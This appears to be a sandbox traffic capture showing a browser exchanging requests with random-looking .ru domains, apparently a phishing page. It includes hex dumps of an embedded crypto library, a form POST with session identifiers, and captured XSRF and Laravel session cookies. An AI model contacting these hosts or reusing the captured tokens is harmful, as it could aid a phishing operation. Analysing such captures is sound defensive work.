2025-03-26 22:34:23 UTC	1369	IN	Data Raw: 63 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d 42 79 74 65 73 Data Ascii: call(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.randomBytes
2025-03-26 22:34:23 UTC	1369	IN	Data Raw: 70 65 6f 66 20 74 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d 30 3b 61 3c 63 Data Ascii: peof t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=0;a<c
2025-03-26 22:34:23 UTC	1369	IN	Data Raw: 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b 33 5d 3e 3e 3e Data Ascii: var t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[3]>>>
2025-03-26 22:34:23 UTC	1369	IN	Data Raw: 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 36 7c 49 5b 30 Data Ascii: for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<16\|I[0
2025-03-26 22:34:23 UTC	1369	IN	Data Raw: 72 2c 74 2e 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 69 66 79 3a 66 Data Ascii: r,t.byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={stringify:f
2025-03-26 22:34:23 UTC	1369	IN	Data Raw: 68 61 72 41 74 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 Data Ascii: harAt(64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOP
2025-03-26 22:34:23 UTC	1369	IN	Data Raw: 61 2e 73 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 6f 3d 74 68 69 Data Ascii: a.sin(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var o=thi
2025-03-26 22:34:23 UTC	1369	IN	Data Raw: 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 2c 31 35 2c 41 Data Ascii: ),m=C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w,15,A

Timestamp	Bytes transferred	Direction	Data
2025-03-26 22:34:23 UTC	638	OUT	GET /favicon.png HTTP/1.1 Host: developers.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://c2uah.yazvbqkl.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 22:34:24 UTC	740	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 22:34:24 GMT Content-Type: image/png Content-Length: 937 Connection: close CF-Cache-Status: HIT Access-Control-Allow-Origin: * Cache-Control: public, max-age=0, must-revalidate ETag: "6be7ff94b6151f8cfbf08b53a17e2ac1" Set-Cookie: __cf_bm=0.QNSFXymPmMx67dOpcxaHep58rL45xFr6E7iMOrG0c-1743028464-1.0.1.1-v8Sp9xOOkeGqKvQpAfTmIvtKKr3mA0tfo9QMVWcFu.f2.4uizWlXaKoAtlr7xuYTCxUQ1PkTsU.gEFW.403L8SGqBmyFlcKjryERssDIe4g; path=/; expires=Wed, 26-Mar-25 23:04:24 GMT; domain=.developers.cloudflare.com; HttpOnly; Secure; SameSite=None Strict-Transport-Security: max-age=15552000; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 926a1d7c7b9943af-EWR alt-svc: h3=":443"; ma=86400
2025-03-26 22:34:24 UTC	629	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 03 5b 49 44 41 54 58 c3 ed 96 4b 48 54 51 18 c7 67 e6 86 91 04 d1 26 e8 a1 d7 c9 02 21 70 59 2d d4 71 d4 96 2d 42 93 48 82 08 a3 16 51 60 48 59 99 77 4c a7 4c ed b1 0d 8a da 44 a4 e6 a3 b2 a8 a8 4d bb 68 53 8b 48 a2 77 b4 c9 8d 77 46 e7 de 79 7c fd bf 73 cf 9d 39 8e 8f 32 85 36 73 e0 c7 77 e7 dc c7 ff ff 7d df 39 f7 8e c7 93 1b b9 b1 c0 11 6d f7 7b 22 a1 22 71 cc 51 85 c7 78 f3 5a 4f a4 bd 68 e9 85 55 11 79 ec 33 0d 5d 03 5e b3 4d f7 20 fa 30 a7 01 ef 44 37 4c 1a 99 eb 97 44 dc cc 88 b3 b0 77 de eb 0d 61 24 7d 2f 75 fa 17 29 6e e8 ee b1 a6 cc 07 40 17 18 04 a3 e0 06 38 08 56 f3 79 36 a9 9a Data Ascii: PNGIHDR szzpHYs~[IDATXKHTQg&!pY-q-BHQ`HYwLLDMhSHwwFy\|s926sw}9m{""qQxZOhUy3]^M 0D7LDwa$}/u)n@8Vy6
2025-03-26 22:34:24 UTC	308	IN	Data Raw: e5 01 1a ae 24 1a 01 0f 82 94 b8 17 10 11 06 de c4 b1 28 5d f1 0e ee 39 df 2c 85 85 09 69 c6 04 d7 c0 65 d0 03 c2 20 04 ce 80 13 a0 09 1c 01 87 e4 9b b0 01 bd 5f 93 b5 e8 ca 40 13 68 01 2f 84 89 fb c2 c4 2e 16 2f 55 32 4e 64 f5 92 e4 8b e6 07 f8 2e f9 a6 f0 55 f2 05 7c 06 9f c0 7b d0 28 16 da cd ad 79 10 09 81 d7 60 0c 7c 04 e3 dc 02 7a 5c cd 06 7a d9 40 0b 6f 35 18 88 e1 2d 98 94 0b 4f f4 54 c6 54 4c 29 af 35 17 1d ce 79 b1 6d 0d 9d ab 96 0f 81 01 7a 5a e3 94 7f d8 81 b3 c7 bc c5 8b 12 f1 3a 1b b8 42 97 8a 69 0a e5 8e 77 ce 82 d2 eb 3f 21 0c f0 f6 6d 2d 78 69 f5 95 1f a6 e7 3b 9c 9e 0f 65 0c 30 c9 41 cc e1 1c 57 c7 7d bf ef 45 a6 b5 88 75 ff 0a ee e7 c8 cf 68 30 4f ad 2f c5 de df 82 55 df 00 6a 41 1d c4 ea 2c 20 a2 f3 7b 0f 28 fc ff 7f b1 f8 dd cf 5f 3d Data Ascii: $(]9,ie _@h/./U2Nd.U\|{(y`\|z\z@o5-OTTL)5ymzZ:Biw?!m-xi;e0AW}Euh0O/UjA, {(_=

Timestamp	Bytes transferred	Direction	Data
2025-03-26 22:34:31 UTC	566	OUT	GET /tatay@ode81xb HTTP/1.1 Host: hajz.aezeib.ru Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Origin: https://c2uah.yazvbqkl.ru Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://c2uah.yazvbqkl.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 22:34:32 UTC	824	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 22:34:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6uqIrXRy%2BzELTtAtBSxGNEjs%2BkIQx9vnqTdD2z1aXHd07rs8sNDsPtBk2BlsqvmtMkddjebcWjzSlNr7yy%2Bccs3oiJL6KpWVw71784atNCDbZlAxTHWaVqaWYEUZKzQ7gg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 926a1daa39c4efa5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=85966&min_rtt=85943&rtt_var=18170&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2818&recv_bytes=1138&delivery_rate=35527&cwnd=252&unsent_bytes=0&cid=733998cb83907b63&ts=795&x=0"
2025-03-26 22:34:32 UTC	6	IN	Data Raw: 31 0d 0a 30 0d 0a Data Ascii: 10
2025-03-26 22:34:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-26 22:34:32 UTC	1425	OUT	POST /aj9IPN3XWv04k4e1dXLBqunWQ3ohyo HTTP/1.1 Host: c2uah.yazvbqkl.ru Connection: keep-alive Content-Length: 774 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTN48X1hxglA4zJGj sec-ch-ua-mobile: ?0 Accept: / Origin: https://c2uah.yazvbqkl.ru Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://c2uah.yazvbqkl.ru/QPImv5ff/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InNnRm90a0h3ajc5VEtRWmZ2T3l2S2c9PSIsInZhbHVlIjoiVjNnL0dUbU9vYW5DZWFYbGdzZnBkSmhCRFoxNHVaSGJubzhTSlczK1VrdG8wSFRjNmVlSWlWMGhRSjI4R0JiMWZzcU5SYU5YVTQxWkRvL0RiU0c4Y215MzRvbThhQklmZ0g2cFlyMitRb2wwWkJkdG5IUE84TE9wWGd3Y3VBT2oiLCJtYWMiOiIyYzZlODM2ZWZjNmQ5MDMyMWEzMWQzZWNhNWQ0MmFiNGMyMjEzZTUxZDcxMzdiMjViODZlNjcwMzk2MzRhYmNiIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImYvZUw0b3ZSenhuOE1RV3N4QTE1MXc9PSIsInZhbHVlIjoiMEFxTEYrMkpuazhSYXFnNlFTRTk3L1lUSTFYZkNJRnFvMzhHcnZ4MExHR2NzNGh6YVM0ak9zL29Qa3BxcUNZcG1jL1JEUUdabEpMWU85eUhUaGU4cUdqYXYwRlJRczgwVFpJa0ZqeVRKdU5MWERHLzhIejY1WHh6T2NPM2N1cHMiLCJtYWMiOiI5ZDU4MmI2NjNkNDQ0YzBmZTA3MzQ2MmYwZTllNzcxNDg3MmUwYWFmNTY5ZmRjNGU2Y2ZjMWFmZTQ2YmEwYzhiIiwidGFnIjoiIn0%3D
2025-03-26 22:34:32 UTC	774	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 54 4e 34 38 58 31 68 78 67 6c 41 34 7a 4a 47 6a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 6c 74 70 67 22 0d 0a 0d 0a 43 6a 79 6f 34 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 54 4e 34 38 58 31 68 78 67 6c 41 34 7a 4a 47 6a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 73 69 64 22 0d 0a 0d 0a 74 49 77 64 5a 4a 70 71 4f 6d 4e 73 36 58 46 6a 79 71 48 6c 6e 4c 77 67 67 6f 4d 66 43 52 78 4a 74 45 31 47 6f 57 37 4a 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 54 4e 34 38 Data Ascii: ------WebKitFormBoundaryTN48X1hxglA4zJGjContent-Disposition: form-data; name="bltpg"Cjyo4------WebKitFormBoundaryTN48X1hxglA4zJGjContent-Disposition: form-data; name="sid"tIwdZJpqOmNs6XFjyqHlnLwggoMfCRxJtE1GoW7J------WebKitFormBoundaryTN48
2025-03-26 22:34:32 UTC	1187	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 22:34:32 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lWtA%2BYn8UpnUomB3aTNBJS7k5xf3IvC8nHX9JNkpEi%2BcZfjM4OvxBwFPHcvmYPhQjjpbRQQo80vGVljlY%2FNm%2Ftn87X6Tv%2BV0iQYJtAS0neUO7s32lLBagXa3Pv5ZOH9tv88O"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=36108&min_rtt=36033&rtt_var=10176&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=3112&delivery_rate=78881&cwnd=244&unsent_bytes=0&cid=a464c17104631733&ts=230&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6Im5JbW9YUGRwTlhFMUo2bnVPbXlWYnc9PSIsInZhbHVlIjoiOVlpdHRwTzh5QlNodzZNUnJuRGZJR2lLL1F4WGc4amJ6cW1teU9rZCtvOCswL3BUZ3lUaVg3a3pNVWIwNXRmQktVWVJUMFlPM29GK3VqcE5TbkRLZWE4cXpLcktTT1JPMkVDUFlMRm1MTGlsMXg2TEM0cGhKbWhkOCtMRzliUFIiLCJtYWMiOiI1NTJlMmM0MjVjOTgwZGEwYWMyN2VhZmJkZGU0Zjc3ODhlZDE5YTgxZWYxN2I2ZjkwYTM1NmM1OTE0ODM0NGNlIiwidGFnIjoiIn0%3D; expires=Thu, 27-Mar-2025 00:34:32 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-26 22:34:32 UTC	788	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6b 55 78 55 6b 74 4e 59 56 4a 55 62 7a 46 34 53 47 4a 50 56 32 35 31 51 6b 46 31 4e 57 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 4d 56 52 31 4d 31 67 72 62 56 4e 51 4b 31 49 79 65 45 4e 69 52 33 68 68 51 6d 46 56 55 45 31 4c 4e 45 4d 78 62 45 51 7a 62 6e 59 30 61 33 4a 4c 64 45 4a 61 55 45 68 6f 55 45 4a 31 4c 32 34 30 4e 58 70 6a 54 54 52 74 54 47 78 33 4f 55 4a 79 4e 57 4a 32 53 33 55 72 52 6b 51 79 53 30 35 7a 4d 6d 38 31 62 47 70 32 64 33 70 75 59 57 35 42 62 58 4a 7a 63 48 4e 47 4e 6c 59 35 65 6b 31 77 4d 6d 34 76 52 48 70 4a 57 54 68 5a 54 6d 6b 35 64 45 59 77 5a 7a 52 32 5a 30 4a 51 4e 55 38 30 63 58 41 72 65 55 56 7a 56 54 49 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IkUxUktNYVJUbzF4SGJPV251QkF1NWc9PSIsInZhbHVlIjoiMVR1M1grbVNQK1IyeENiR3hhQmFVUE1LNEMxbEQzbnY0a3JLdEJaUEhoUEJ1L240NXpjTTRtTGx3OUJyNWJ2S3UrRkQyS05zMm81bGp2d3puYW5BbXJzcHNGNlY5ek1wMm4vRHpJWThZTmk5dEYwZzR2Z0JQNU80cXAreUVzVTI
2025-03-26 22:34:32 UTC	26	IN	Data Raw: 31 34 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 7d 0d 0a Data Ascii: 14{"status":"success"}
2025-03-26 22:34:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-26 22:34:32 UTC	391	OUT	GET /tatay@ode81xb HTTP/1.1 Host: hajz.aezeib.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 22:34:33 UTC	829	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 22:34:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=V%2FuLYXFTqJSMN%2FL4Mf8Aqx6%2BSROvN7yAg89AzfVxoDmOGxwy3ktSKKqzmeXhmppfAyu2qlLNz6j%2BWLzxs2aXz%2FxvwccBV6vk%2BoMe0Bt5VmU5tUSHzghSsedkuuRieAFU1w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 926a1db0cda942fe-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=85214&min_rtt=85170&rtt_var=18035&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2818&recv_bytes=963&delivery_rate=35829&cwnd=252&unsent_bytes=0&cid=4d1353b4ad83cf20&ts=806&x=0"
2025-03-26 22:34:33 UTC	6	IN	Data Raw: 31 0d 0a 30 0d 0a Data Ascii: 10
2025-03-26 22:34:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
